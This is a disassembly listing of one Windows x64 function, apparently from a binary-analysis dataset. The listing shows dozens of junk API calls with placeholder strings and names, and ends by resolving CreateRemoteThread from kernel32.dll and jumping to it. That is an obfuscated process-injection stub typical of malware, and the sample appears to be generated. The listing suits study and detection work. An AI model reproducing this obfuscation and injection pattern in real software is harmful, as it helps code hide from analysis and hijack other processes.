Function at 0x410959
Capabilities:
Set environment variable

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x88
mov rax, qword [rsp + 0xf0]
mov qword [rsp + 0x50], rax
mov eax, dword [rsp + 0xf8]
mov qword [rsp + 0x38], rcx
mov dword [rsp + 0x5c], eax
mov rax, qword [rsp + 0x100]
mov qword [rsp + 0x40], rdx
mov qword [rsp + 0x60], rax
mov rax, qword [0x004cc250]
mov qword [rsp + 0x48], r8
cmp dword [rax], 0x4551
jne 0x410f07
mov rax, qword [sym.imp.KERNEL32.dll_SetCommBreak]
mov qword [rsp + 0x78], r9
xor ecx, ecx
mov qword [rsp + 0x28], rax
call rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [0x004cbc10]
mov ecx, dword [rax]
call fcn.00413350
mov rbx, qword [0x004cbc00]
mov rbp, qword [sym.imp.ADVAPI32.dll_RegisterEventSourceA]
lea rdx, str.Enim_dignissimos_beatae_ut_praesentium
lea rcx, str.Esse_et_et_nostrum_commodi_sunt_modi_omnis
mov dword [rbx], eax
mov rax, qword [0x004cc0f0]
mov dword [rax], 0x9e93d4b6
call rbp
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetLargestConsoleWindowSize]
mov rax, qword [0x004cc490]
mov dword [rax], 0x4a1769e6
mov rax, qword [0x004cc200]
mov dword [rax], 0x47ae70a1
mov rax, qword [0x004cbee0]
mov edx, dword [rax]
mov rax, qword [0x004cbc40]
mov dword [rax], edx
mov rax, qword [0x004cbc30]
mov ecx, dword [rax]
call fcn.00413350
mov rsi, qword [0x004cc3f0]
xor ecx, ecx
mov dword [rsi], eax
mov rsi, qword [sym.imp.ADVAPI32.dll_ImpersonateNamedPipeClient]
call rsi
mov rax, qword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x30], rax
call rax
mov rax, qword [0x004cc2f0]
mov edx, dword [rax]
mov rax, qword [0x004cc140]
mov dword [rax], edx
mov rax, qword [0x004cc0c0]
mov ecx, dword [rax]
call fcn.00413350
mov rbx, qword [0x004cbc00]
lea rcx, str.Illo_saepe_inventore_numquam_sequi_eaque
mov dword [rbx], eax
mov rax, qword [0x004cbdc0]
mov edx, dword [rax]
mov rax, qword [0x004cc210]
mov dword [rax], edx
lea rdx, str.Vel_necessitatibus_cupiditate_quis_reprehenderit_soluta_corrupti
call rbp
lea rdx, str.ProfAaliyahLakin
lea rcx, str.CliftonWilliamsonII
call rbp
mov ecx, 0x6072b26c
call fcn.00413350
mov rdx, qword [0x004cc240]
lea rcx, str.ProfMckenzieKuhn
mov dword [rdx], eax
lea rdx, str.Et_dolorum_fugiat_aut_maiores
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
mov rdi, qword [sym.imp.ADVAPI32.dll_ImpersonateLoggedOnUser]
xor ecx, ecx
call rdi
mov rax, qword [0x004cc320]
mov ecx, dword [rax]
call fcn.00413350
mov rbx, qword [0x004cbe10]
xor edx, edx
lea rcx, str.KrisChamplinII
mov dword [rbx], eax
call qword [sym.imp.KERNEL32.dll_WaitNamedPipeA]
mov rax, qword [0x004cbe70]
mov ecx, 0x66eecf2b
mov dword [rax], 0xeeb7b29d
call fcn.00413350
mov rdx, qword [0x004cc170]
mov r10, qword [sym.imp.KERNEL32.dll_SetEvent]
xor ecx, ecx
mov dword [rdx], eax
mov rax, qword [0x004cc2e0]
mov qword [rsp + 0x70], r10
mov edx, dword [rax]
mov rax, qword [0x004cc3e0]
mov dword [rax], edx
call r10
mov r14, qword [sym.imp.ADVAPI32.dll_ImpersonateAnonymousToken]
xor ecx, ecx
call r14
mov rax, qword [0x004cc1b0]
mov rbx, qword [0x004cc2c0]
mov eax, dword [rax]
mov dword [rbx], eax
mov rax, qword [0x004cc070]
mov dword [rax], 0xf7f477d8
mov rax, qword [0x004cbcd0]
mov ecx, dword [rax]
call fcn.00413350
mov rbx, qword [0x004cc3a0]
xor edx, edx
xor ecx, ecx
mov r12, qword [sym.imp.KERNEL32.dll_FindNextStreamW]
mov dword [rbx], eax
call r12
mov rbx, qword [sym.imp.KERNEL32.dll_GetFileType]
xor ecx, ecx
call rbx
mov rax, qword [0x004cbe50]
mov ecx, 0xd33f37d9
mov dword [rax], 0xdf58c87a
mov rax, qword [0x004cbc50]
mov edx, dword [rax]
mov rax, qword [0x004cc420]
mov dword [rax], edx
call fcn.00413350
mov rdx, qword [0x004cbbe0]
mov r11, qword [sym.imp.KERNEL32.dll_GetBinaryTypeA]
lea rcx, str.Ullam_alias_facere_et_fuga
mov dword [rdx], eax
mov rax, qword [0x004cc0d0]
xor edx, edx
mov qword [rsp + 0x68], r11
mov dword [rax], 0x7aea1c88
call r11
xor ecx, ecx
call rsi
mov rax, qword [0x004cc180]
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x004cbd20]
mov dword [rax], edx
call r14
mov rax, qword [0x004cbec0]
xor edx, edx
xor ecx, ecx
lea r8, str.Vero_voluptas_enim_quos_maxime_provident_earum_accusantium_repellendus_dolores_sed_ab
mov r15, qword [sym.imp.KERNEL32.dll_OpenEventA]
mov dword [rax], 0x7531840e
call r15
xor ecx, ecx
call rbx
mov rax, qword [str._mf]
mov r13, qword [sym.imp.ADVAPI32.dll_RegFlushKey]
xor ecx, ecx
mov dword [rax], 0x58bfacca
call r13
lea rdx, str.GrahamFranecki
lea rcx, str.Esse_et_reprehenderit_ducimus_qui_laudantium_modi_ex_ut_alias_hic
call rbp
mov rax, qword [0x004cbe90]
xor ecx, ecx
mov dword [rax], 0xc238d3f1
call rdi
mov ecx, 0xc2701699
call fcn.00413350
mov rdx, qword [0x004cbcf0]
xor ecx, ecx
mov dword [rdx], eax
call rdi
mov rax, qword [0x004cc110]
mov rdx, qword [str._mf]
xor ecx, ecx
lea r8, str.Officiis_recusandae_saepe_voluptas_consequatur_distinctio_nulla_quis_asperiores_in_laudantium
mov eax, dword [rax]
mov dword [rdx], eax
xor edx, edx
call r15
mov rax, qword [0x004cc2d0]
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x004cbd90]
mov dword [rax], edx
call rdi
mov rdi, qword [0x004cc300]
mov ecx, dword [rdi]
call fcn.00413350
mov rcx, qword [0x004cbcd0]
mov dword [rcx], eax
mov rax, qword [0x004cc4b0]
xor ecx, ecx
mov dword [rax], 0x5aeaaa40
call rbx
mov rax, qword [0x004cbce0]
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x004cbed0]
mov dword [rax], edx
call rsi
mov rax, qword [0x004cbc70]
xor edx, edx
xor ecx, ecx
lea r8, str.MsAlexanneBruenV
mov dword [rax], 0x20b0ca1d
call r15
mov rax, qword [0x004cbc00]
mov r10, qword [rsp + 0x70]
xor ecx, ecx
mov dword [rax], 0x4495d23f
call r10
mov rax, qword [0x004cbee0]
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x004cc1e0]
mov dword [rax], edx
mov rax, qword [0x004cbd30]
mov rdx, qword [0x004cbe10]
mov eax, dword [rax]
mov dword [rdx], eax
mov rax, qword [0x004cc180]
xor edx, edx
mov dword [rax], 0x66e66f5b
mov rax, qword [rsp + 0x30]
call rax
mov edx, dword [rdi]
mov rax, qword [0x004cbd50]
xor ecx, ecx
mov dword [rax], edx
call r13
mov rax, qword [0x004cc2c0]
mov ecx, dword [rax]
call fcn.00413350
mov rdi, qword [0x004cc3f0]
xor edx, edx
xor ecx, ecx
mov dword [rdi], eax
mov rax, qword [0x004cbbe0]
mov dword [rax], 0x861e1859
call r12
mov rax, qword [0x004cbe20]
mov ecx, 0xc577cf64
mov dword [rax], 0x51a7a642
call fcn.00413350
mov rdx, qword [0x004cc340]
mov rdi, qword [0x004cc180]
xor ecx, ecx
mov dword [rdx], eax
mov rax, qword [0x004cc3a0]
mov eax, dword [rax]
mov dword [rdi], eax
mov rax, qword [0x004cc490]
mov edx, dword [rax]
mov rax, qword [0x004cc4d0]
mov dword [rax], edx
mov rax, qword [0x004cbdf0]
mov edx, dword [rax]
mov rax, qword [0x004cbe00]
mov dword [rax], edx
call r13
mov ecx, 0x390737ae
call fcn.00413350
mov rdx, qword [0x004cbe40]
mov r11, qword [rsp + 0x68]
lea rcx, str.Adipisci_nisi_reiciendis_atque_fugit_necessitatibus
mov dword [rdx], eax
xor edx, edx
call r11
xor ecx, ecx
mov rdi, qword [sym.imp.KERNEL32.dll_SetLastError]
call rdi
mov ecx, 0x7cc2ff1a
call fcn.00413350
mov rdx, qword [0x004cbbd0]
xor r8d, r8d
xor ecx, ecx
mov rbp, qword [sym.imp.KERNEL32.dll_WaitForSingleObjectEx]
mov dword [rdx], eax
xor edx, edx
call rbp
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommModemStatus]
xor ecx, ecx
call rsi
xor ecx, ecx
call rbx
xor ecx, ecx
call r14
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call rbp
xor ecx, ecx
mov rax, qword [rsp + 0x28]
call rax
mov rax, qword [0x004cbcd0]
mov ecx, dword [rax]
call fcn.00413350
mov rdx, qword [0x004cc0a0]
xor ecx, ecx
mov dword [rdx], eax
call rdi
xor ecx, ecx
call rsi
mov ecx, 0x48777a56
call fcn.00413350
mov rsi, qword [0x004cbc00]
xor edx, edx
xor ecx, ecx
mov dword [rsi], eax
call r12
mov rax, qword [0x004cbd80]
mov ecx, 0x822b2754
mov edx, dword [rax]
mov rax, qword [0x004cbc90]
mov dword [rax], edx
call fcn.00413350
mov rdx, qword [0x004cc150]
xor ecx, ecx
mov dword [rdx], eax
call rbx
mov r9, qword [rsp + 0x78]
lea rdx, str.CreateRemoteThread
lea rcx, str.kernel32.dll
mov qword [rsp + 0x28], r9
call fcn.0040fab1
mov rsi, qword [rsp + 0x60]
mov r9, qword [rsp + 0x28]
mov r8, qword [rsp + 0x48]
mov rdx, qword [rsp + 0x40]
mov qword [rsp + 0x100], rsi
mov esi, dword [rsp + 0x5c]
mov rcx, qword [rsp + 0x38]
mov dword [rsp + 0xf8], esi
mov rsi, qword [rsp + 0x50]
mov qword [rsp + 0xf0], rsi
add rsp, 0x88
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
jmp rax